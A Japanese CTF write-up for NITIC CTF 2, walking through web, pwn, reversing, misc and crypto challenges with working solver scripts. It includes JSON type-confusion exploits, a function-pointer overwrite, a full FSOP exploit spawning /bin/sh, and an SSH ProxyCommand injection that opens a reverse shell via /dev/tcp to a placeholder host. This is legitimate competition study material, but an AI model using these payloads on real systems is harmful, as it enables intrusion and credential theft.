9/5-9/6 で開催していた NITIC CTF 2 にソロで参加しました。結果は 6th/174 (得点のあるチームのみカウント) でした。web と pwn で1問ずつ残してしまい、涙…
solve 数50以下の問題についての writeup をまとめます。あと解けなかった問題についてもメモを残しておきます。
Web
password
46 solves
from flask import Flask, request, make_response
import string
import secrets
password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])
print("[INFO] password: " + password)
with open("flag.txt") as f:
flag = f.read()
def fuzzy_equal(input_pass, password):
if len(input_pass) != len(password):
return False
for i in range(len(input_pass)):
if input_pass[i] in "0oO":
c = "0oO"
elif input_pass[i] in "l1I":
c = "l1I"
else:
c = input_pass[i]
if all([ci != password[i] for ci in c]):
return False
return True
app = Flask(__name__)
(snipped)
@app.route("/flag", methods=["POST"])
def search():
if request.headers.get("Content-Type") != "application/json":
return make_response("Content-Type Not Allowed", 415)
input_pass = request.json.get("pass", "")
if not fuzzy_equal(input_pass, password):
return make_response("invalid password", 401)
return flag
app.run(port=8080)
ランダムに生成された32文字の password
について、 fuzzy_equal
関数を通すことのできる input_pass
を与えることができればフラグが手に入ります。
input_pass
は JSON をパースして作られていますが、型のチェックがありません。そのため、 {"pass": "ABC..."}
という形式でなくてもよく、例えば {"pass": ["A", "B", "C", ...]}
と POST してもいいわけです。
fuzzy_equal
の処理を見てみると、 input_pass[i]
の中に password[i]
の文字が一つでも含まれていればよいということになっているため、 {"pass": [string.ascii_letters, string.ascii_letters, ...]}
という形式で送ると、 password
がいかなる値であっても通すことができます。
import string
import requests
url = "http://34.146.80.178:8001/flag"
res = requests.post(url, json={"pass": [string.ascii_letters] * 32})
print(res.text)
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
次の fixed の問題も含めていい問題だと思ったけど、この解き方は非想定だったんですかね…?
password fixed
13 solves
前問の fuzzy_equal
が修正されています。
def fuzzy_equal(input_pass, password):
if len(input_pass) != len(password):
return False
for i in range(len(input_pass)):
if input_pass[i] in "0oO":
if password[i] not in "0oO":
return False
continue
if input_pass[i] in "l1I":
if password[i] not in "l1I":
return False
continue
if input_pass[i] != password[i]:
return False
return True
今回は前問の方法では突破できなくなっています。しかし依然として型のチェックはないので、それを利用する方針で考えます。
まずはいろいろな型で POST するのを試してみました。すると、 [0, 0, ...]
や [null, null, ...]
のように文字列でないもののリストを送ると、500 が返ってくることに気づきました。これは if input_pass[i] in "0oO":
の部分で型が合わず落ちるからです。
そこで、 JSON のリストの中身は全て同じ型じゃなくてもいいことに注目します (天下り的ですが)。つまり ["A", 0, "B", ...]
などが許されています。
例えば ["A", null, "A", "A", ...]
を送った時、 password[0] == "A"
であれば 500 が返ってきます。一方で password[0] != "A"
であれば 401 が返ってきます。
これを利用することで password
の文字を1文字ずつ決めていくことができます。
import string
import requests
url = "http://34.146.80.178:8002/flag"
password = ""
for idx in range(31):
base_payload = list(password) + ["A"] * (32 - len(password))
for c in string.ascii_letters:
tmp_payload = base_payload.copy()
tmp_payload[idx] = c
tmp_payload[idx+1] = None
res = requests.post(url, json={"pass": tmp_payload})
if res.status_code == 401:
continue
else:
password += c
print(password)
break
else:
raise RuntimeError
for c in string.ascii_letters:
res = requests.post(url, json={"pass": password + c})
if res.status_code == 200:
print(res.text)
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}
Pwn
pwn monster 3
50 solves
void show_flag() {
FILE *fp = fopen("./flag.txt", "r");
char flag[256];
if (fp == NULL) {
printf("Not found flag.txt! Do you run in local?\n");
} else {
fgets(flag, 256, fp);
printf("%s\n", flag);
fclose(fp);
}
}
(snipped)
typedef struct {
char name[16];
int64_t hp;
int64_t attack;
char *(*cry)();
} Monster;
(snipped)
if (my_turn) {
puts("Your Turn.");
printf("%s: %s\n", my_monster.name, my_monster.cry());
printf("Rival monster took %ld damage!\n", my_monster.attack);
rival_monster.hp -= my_monster.attack;
} else {
(snipped)
今までの問題と異なり、Monster
に cry
という method が生えています。この cry
は各ターンで呼ばれるようです。 show_flag
といういかにも呼んで欲しそうな関数があるので、BOF で cry
の関数をこの関数に置き換えてしまいましょう。
from pwn import remote, p64
io = remote("35.200.120.35", 9003)
io.recvuntil("|cry() | ")
addr_cry = int(io.recv(18), 16)
addr_flag = addr_cry - 0x134E + 0x1286
payload = b"A" * 32
payload += p64(addr_flag)
io.sendlineafter("name: ", payload)
io.interactive()
nitic_ctf{rewrite_function_pointer_is_fun}
Misc
braincheck
36 solves
brainfuck で書かれたプログラムです。久しぶりに見た… このコードを読んでプログラムが理解できる人間ではないので、 bfs でコンパイルして ELF 形式にし、 gdb でメモリを見ながら動作を追いました。
int 0x80
が呼ばれるところでブレークポイントを設置し、入力した文字とそのときのメモリの状態を照らし合わせてみると、入力文字が正しいときだけ buffer[0]
の値が0になっていそうでした (フラグの prefix が nitic_ctf{
であることが既知なので試せた)。
文字を1つ1つ変えていき、各 int 0x80
の場所で buffer[0] == 0
となっているかを確認する作業を温かい手作業で行い、フラグを復元しました。動作を追うというのは嘘でしたね。
nitic_ctf{esoteric!}
angr で簡単に解けそうな気配がしたのに、なぜか自分の環境ではうまく動いてくれなかった…賢い方法を知りたい。
Rev
report or repeat
22 solves
Ghidra で解析します。
main 関数の核の部分は以下の通りです (変数名は適宜与えています)。
do {
read_counter = fread(buf_read,1,0x100,__stream);
read_counter_int = (int)read_counter;
if (read_counter_int < 0x100) {
local_338 = read_counter_int;
if (read_counter_int == 0) break;
for (; local_338 < 0x100; local_338 = local_338 + 1) {
buf_read[local_338] = 0;
}
}
FUN_00101209(buf_read,buf_write);
read_counter = fwrite(buf_write,1,0x100,__s);
if (read_counter < 0x100) {
printf("Failed to write to %s\n",(long)&new_file_name + 1);
uVar2 = 1;
goto LAB_00101738;
}
} while (read_counter_int == 0x100);
fclose(__stream);
fclose(__s);
uVar2 = 0;
入力のファイルに対して 0x100 バイトずつ読み出し、 FUN_00101209
であれこれした結果を buf_write
に保持し、それを出力ファイルに書き込みます。
次に FUN_00101209
の動作を見てみます。
mem_stack = 0xc2b5e93852ec1e72;
local_110 = 0x27ea0f531f754746;
local_108 = 0x2a898c8c6ed757cf;
local_100 = 0x12e7a197b8a86f2;
(snipped)
local_30 = 0xe951440710637bef;
local_28 = 0x330c4a5a3dce2989;
local_20 = 0x81d57f6dd1652132;
for (i = 0; i < 0x100; i = i + 1) {
*(byte *)(output + i) =
PTR_DAT_00104120[*(byte *)(input + (ulong)(byte)(&mem_data)[i])] ^
*(byte *)((long)&mem_stack + (long)i);
}
output[i] = PTR_DAT_00104120[input[mem_data[i]]] ^ mem_stack[i]
という計算がされています。
PTR_DAT_00104120
、 mem_data
、 mem_stack
に該当する値を gdb で動かしつつ持ってきて、 decode するプログラムを書きました。
from Crypto.Util.number import long_to_bytes
with open("./report_or_repeat/report.pdf.enc", "rb") as f:
oup = f.read()
ptr_data = [
0x8925ed1186778c06, 0x99a50dc97d796466,
0x0a1b9eaa47716b44, 0x61f082a66e1ebfc3,
0xc2b0b28790423584, 0xcde93e457312f43d,
0xe8532d5ba4334126, 0xeb81bae518bcc53a,
0x8acfac2fcc499f58, 0xd015b4a29c24480b,
0x784b07f316d3191f, 0x7e0057c131e23480,
0x6a469b692154705e, 0x596d17b9409acbb6,
0x62e375df3260eafc, 0xb583f103d785a738,
0xa36c0eadfdee5f55, 0x9d725a020813c020,
0xd87439f99388fb5d, 0x4de1ce3f67044fd2,
0x2a09db2b942ccad5, 0x0f01224e2995e737,
0xb8f8147a56c8d4dc, 0xab5c8df5a9a84330,
0x512e0c4a231a966f, 0x654ce48e52c792d6,
0x8befbedd05bb9768, 0xa17bb3dac47698b7,
0x10e0faf6af91a036, 0xf27cde50febd1c27,
0x7fd13ce6d9c6aeb1, 0xf7288f3bec1d63ff,
]
mem_data = [
0x0a4c2fa53b0e8557, 0x2a440bff05d57571,
0xacbd2367fa11b5d4, 0x3963ef5a229d479c,
0xd12ee364467ebfe5, 0x5002a3a9889240b9,
0x96b8e9cf367d35c4, 0x0fecc386746698ad,
0x7f16d9c11fe8511c, 0xea3719c234f4a8c0,
0x1e28a1daed8b4218, 0x6d9495098aa76e3c,
0xe75f278c8f4a3d9e, 0xeb91826a72e0f8de,
0xf3e12d21e2f5f908, 0x3fce5d01737abac6,
0xf658d24160cbee59, 0xa4b24e70627855b4,
0x24f7979b29dcdbbb, 0xe67bcc43a0934b76,
0x8d263ad8c565a238, 0xfb5eb12507bcc769,
0xcacd9949af7713b0, 0x80176b56b76cbe04,
0x53f1688e81452b87, 0x7c142c0dd3fda633,
0xfef0891a4f908320, 0xaeaad01b06d6df32,
0x6f9a1203e484dd79, 0x309f0cc93e1dd7ab,
0xb65c6115f2b35410, 0x005248fcc84d5b31,
]
mem_stack = [
0xc2b5e93852ec1e72, 0x27ea0f531f754746,
0x2a898c8c6ed757cf, 0x012e7a197b8a86f2,
0x7c9f5b2bd30815ab, 0x58826f3c985dde86,
0x9ef377a56285eaf2, 0x1b71a09e8b10373e,
0x650117b32f7e9dce, 0xf928e1ad2f795c14,
0xa65e121f693a9255, 0x28e33b47dadba441,
0x627c22fa9ce90908, 0x8e45e495862805d2,
0x426458ed66ebe7d2, 0x685191a02170a9ba,
0x7abb33126ca97eff, 0x01047cceede01bde,
0xd3061b78361723cf, 0x0d4a5086985e255e,
0xc22b726e96390c31, 0xf9a944d74cdd310f,
0xb0a67368b940edb7, 0x4ce4b603372e3eef,
0x6254f01074835dcb, 0x846ea7ff5cdf28c1,
0x3d175ba063eb3959, 0x98777b218bcbee97,
0x0670388d4459a9d5, 0xe951440710637bef,
0x330c4a5a3dce2989, 0x81d57f6dd1652132,
0x00007fffffffe5a0, 0x1b571d823dc40f00,
0x00007fffffffe4b0, 0x00005555555556a9,
]
def mem_to_bytes(mem):
ret = []
for m in mem:
for _ in range(8):
ret.append(m % 256)
m //= 256
return ret
bytes_ptr_data = mem_to_bytes(ptr_data)
bytes_data = mem_to_bytes(mem_data)
bytes_stack = mem_to_bytes(mem_stack)
# oup[i] = bytes_ptr_data[inp[bytes_data[i]]] ^ bytes_stack[i]
inp_all = b""
for i in range(0, len(oup), 0x100):
bytes_inp = [None] * 0x100
for j in range(0x100):
res = oup[i+j]
res ^= bytes_stack[j]
res = bytes_ptr_data.index(res)
bytes_inp[bytes_data[j]] = res
inp = b"".join([long_to_bytes(b) for b in bytes_inp])
inp_all += inp
inp_all = inp_all[:inp_all.rindex(b"EOF")+3]
with open("dec.pdf", "wb") as f:
f.write(inp_all)
nitic_ctf{xor+substitution+block-cipher}
decode した pdf にソースコードが載ってるのいいですね。
Crypto
summeRSA
32 solves
from Crypto.Util.number import *
from random import getrandbits
with open("flag.txt", "rb") as f:
flag = f.read()
assert len(flag) == 18
p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q
m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)
e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)
print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")
フラグの文字列長は18で、そのうちの10文字は nitic_ctf{
なので、8文字が未知です。 RSA で暗号化するときは41文字の既知な接頭辞がつけられています。したがって、8/59 < 1/7 = 1/e
が未知です。この程度の値であれば coppersmith’s attack で求めることができます。
from Crypto.Util.number import bytes_to_long, long_to_bytes
N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310
m_msb = bytes_to_long(b"the magic words are squeamish ossifrage. " + b"nitic_ctf{") * 256 ** 8
PR.<m_lsb> = PolynomialRing(Zmod(N))
m = m_msb + m_lsb
f = m^7 - c
m = f.small_roots(epsilon=0.05)[0]
print(b"nitic_ctf{" + long_to_bytes(m))
nitic_ctf{k01k01!}
解けなかった問題&復習
Web
Is It Shell?
3 solves
wetty というプログラムに以下のパッチを当てたものが動いているようです。
--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
const fileDownloader = new FileDownloader();
term.onData((data: string) => {
- socket.emit('input', data);
+ socket.emit('input', data.replace(/-/g, ''));
});
term.onResize((size: { cols: number; rows: number }) => {
socket.emit('resize', size);
patch の元となっている v2.0.3
の branch で docker-compose を使ってもなぜかうまく起動できなかったので、仕方なく main
branch で起動してみました。
このパッチでは -
を打てなくしているので、手元環境で試しに --
と打ってみると、 ssh: unrecognized option: @
と表示されたり、 --i
と打ってみると Warning: Identity file @wetty-ssh not accessible: No such file or directory.
と表示されたり… コマンドインジェクションができそうな気配が感じ取れましたが、特に何もできずに終了。
kusano_k さんの writeup と st98 さんの writeup を参考にして解き直してみました。
まず問題の環境で -
を打てるようにする必要があり、前者では chrome の Local Overrides 機能を使い、後者では String.prototype.replace = function () { return this; };
を console で打ち replace
の動作を変えていました。
前者のほうが汎用性が高そう (ほんと?) なので実際にやってみます。
chrome で devtool を開き、 Source タブの中の Overrides タブを開きます。 “Enable Local Overrides” をチェックし、画面上部でディレクトリアクセス権を許可します。その後 Network タブ内で書き換えたいファイル (今回は wetty.js) を右クリックし、 “Save for overrides” を選択します。再び Sources タブに戻り、先程選択したファイルを選択し、適宜編集して保存 (Ctrl+s) します。今回でいうと replace
の部分を消しました。これで -
が打てるようになります。
-
が打てるようになったので先述した通り何かしら option を指定できるようになりました。 -o ProxyCommand
を使うことで任意のコマンドを実行できるようです。これを使ってリバースシェルを張ります。
手元環境で nc -lvnp PORT
を実行しておき、 -o ProxyCommand=bash -c "bash -i >& /dev/tcp/MY_URL/PORT 0>&1";
を wetty で入力します。これでシェルを叩けるようになりました。
$HOME/note
をみると login to flag@flagserver
と書いてあります。 $HOME/id_rsa_flag
というファイルも存在するので、この秘密鍵を使って flag@flagserver
に ssh すればよさそう。
しかしリモート環境で ssh -i id_rsa_flag flag@flagserver
を叩いても Load key "id_rsa_flag": invalid format
と言われてしまい、失敗します (なんで?)。
原因がよくわからないので、 id_rsa_flag
を local に持ってきて、 cat /etc/hosts
で flagserver
の IP アドレスを確認し、 local から ssh -i id_rsa_flag flag@3.143.25.183
で ssh 接続できました。
nitic_ctf{shell_in_the_webshell}
Pwn
baby_IO_jail
5 solves
#include<stdio.h>
#include<unistd.h>
void main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
jail:
read(0,stdout,0x300);
puts("back to jail");
goto jail;
}
stdout
に 0x300 バイトまで書き込むことができます。
ちょうど先週 FSOP を学んだので、 _IO_write_ptr
を _IO_write_base
より大きくして任意アドレスの値をリークしたり、 _IO_jump_t
の vtable 先を _IO_helper_jumps
に変えて __overflow
を one gadget とかにできたりしそうだなーと眺めていたのですが、肝心の libc のベースアドレスをリークする方法がわからず詰んでしまいました…中途半端な理解をしているとすぐこうなるので要復習。
kusano_k さんの writeup を参考にして解き直してみました。
_IO_write_base
の LSB を \x00
にして _IO_2_1_stdin_
のアドレスをリークすることで libc ベースアドレスを求めていました。自分もそれ試したけど表示されなかったんだよな…と思いよく見てみると _flags
の指定を間違っていたからのようでした。確かに _flags
の挙動一切わかっていない…なので _flags
による動作の違いを追ってみました。
libc-2.31 での _flags は以下の通りです。
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
自分が試していたときは、 Angel Boy-san のスライド を参考に、 _flags &= ~8; _flags |= 0x800;
のみ実行しており、 _flags = 0xfbad2884
でした。
先述の writeup では _flags = 0xfbad3887
が使われており、これと比較すると _IO_IS_APPENDING
と _IO_USER_BUF
と _IO_UNBUFFERED
のビットが立っておらず、上手くいっていなかったようです。
_IO_USER_BUF
についてはコメントにも書かれている通り close
時の処理についてのフラグのようなので、今回は関係なさそうです。 _IO_UNBUFFERED
と _IO_IS_APPENDING
について処理を追ってみます。
_flags = 0xfbad3887
のとき、 puts
関数内部でどういう呼び出しが生じるのかを gdb で追ってみたところ、以下の順番で呼び出されていました。
puts("back to jail")
_IO_new_file_xsputn(*_IO_2_1_stdout_, "back to jail", 0xc)
_IO_new_file_overflow(*_IO_2_1_stdout_, 0xffffffff (=EOF))
_IO_new_do_write(*_IO_2_1_stdout_, *_IO_2_1_stdout_+96, 0x23)
_IO_new_file_write(*_IO_2_1_stdout_, *_IO_2_1_stdout_+96)
最後の _IO_new_file_write
の部分について 見てみます。
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
_IO_IS_APPENDING
のビットが立っていないと、 fp->_IO_read_end != fp->_IO_write_base
なので _IO_SYSSEEK(...)
が呼ばれます。この結果は _IO_pos_BAD
となるので return 0
が呼ばれてしまい、 _IO_SYSWRITE(...)
の部分に辿り着けなくなってしまうようでした。
また、 _IO_UNBUFFERED
のビットが立っていないとこの関数の最後で _IO_write_end == _IO_buf_end
となります。 puts
の 内部実装 をみてみます。
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len
&& _IO_putc_unlocked ('\n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (stdout);
return result;
}
_IO_new_file_xsputn(...)
(= _IO_sputn(...)
) のあとは _IO_putc_unlocked(...)
が呼ばれるのですが、これの実体は以下の通りです。
#define __putc_unlocked_body(_ch, _fp) \
(__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \
? __overflow (_fp, (unsigned char) (_ch)) \
: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
__overflow
を呼ぶかどうかが _IO_write_ptr >= _IO_write_end
で判定されています。もともとの _IO_2_1_stdout_
の値は
pwndbg> p _IO_2_1_stdout_
$19 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7fb9724 <_IO_2_1_stdout_+132> "",
(snipped)
のようになっているので、 _IO_write_end = _IO_buf_end
となっていると __overflow(stdout, "\n")
が呼ばれません。長くなりましたが話を戻すとこういう理由で _IO_UNBUFFERED
のビットを立てないと \n
が出力されないことがわかりました。
そのため、 puts
関数が使われているからといって io.recvline()
のような形式で出力を受け取ろうとするとコケます。これは罠…
なので本質的に重要だったのは _IO_IS_APPENDING
のビットを立てることだったみたいです。
_flags
を修正して libc アドレスをリークした後、次の read
で vtable の先を直後の _IO_helper_jumps
に指定し、 __overflow
を system
にし、 _flags
の部分を /bin/sh
にしたらシェルを奪えました。
from pwn import *
REMOTE = True
elf = ELF("./dist/vuln")
if REMOTE:
libc = ELF("./dist/libc-2.31.so")
io = remote("18.117.194.78", 13377)
else:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = remote("localhost", 1337)
context.binary = elf
_flag = 0xfbad3887
addr = 0x7ffff7fb0000 # 適当でいい
payload = pack(_flag)
payload += pack(addr) # _IO_read_ptr
payload += pack(addr) # _IO_read_end
payload += pack(addr) # _IO_read_base
payload += b"\x00" # _IO_write_base
io.send(payload)
ret = io.recvline()
addr_stdin = unpack(ret[8: 16])
print(f"{hex(addr_stdin) = }")
libc.address = addr_stdin - libc.symbols["_IO_2_1_stdin_"]
payload = b"/bin/sh\x00"
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x83) * 4
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x84) # _IO_write_ptr
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x83) * 2
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x84)
payload += pack(0) * 4
payload += pack(libc.symbols["_IO_2_1_stdin_"])
payload += pack(1)
payload += pack(0xffffffffffffffff)
payload += pack(0)
payload += pack(libc.address + 0x1ee4c0) # pack(libc.symbols["_IO_stdfile_1_lock"])
payload += pack(0xffffffffffffffff)
payload += pack(0)
payload += pack(0) # pack(libc.symbols["_IO_wide_data_1"])
payload += pack(0) * 6
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x200) # pack(libc.symbols["_IO_helper_jumps"])
payload += pack(libc.symbols["_IO_2_1_stderr_"])
payload += pack(libc.symbols["_IO_2_1_stdout_"])
payload += pack(libc.symbols["_IO_2_1_stdin_"])
payload += pack(0) # pack(libc.symbols["__gcc_personality_v0"])
payload += pack(0) * 30
payload += pack(0) * 2
# _IO_helper_jumps
payload += pack(0) * 3
payload += pack(libc.symbols["system"])
io.send(payload)
io.interactive()
nitic_ctf{it_is_pointless_for_us}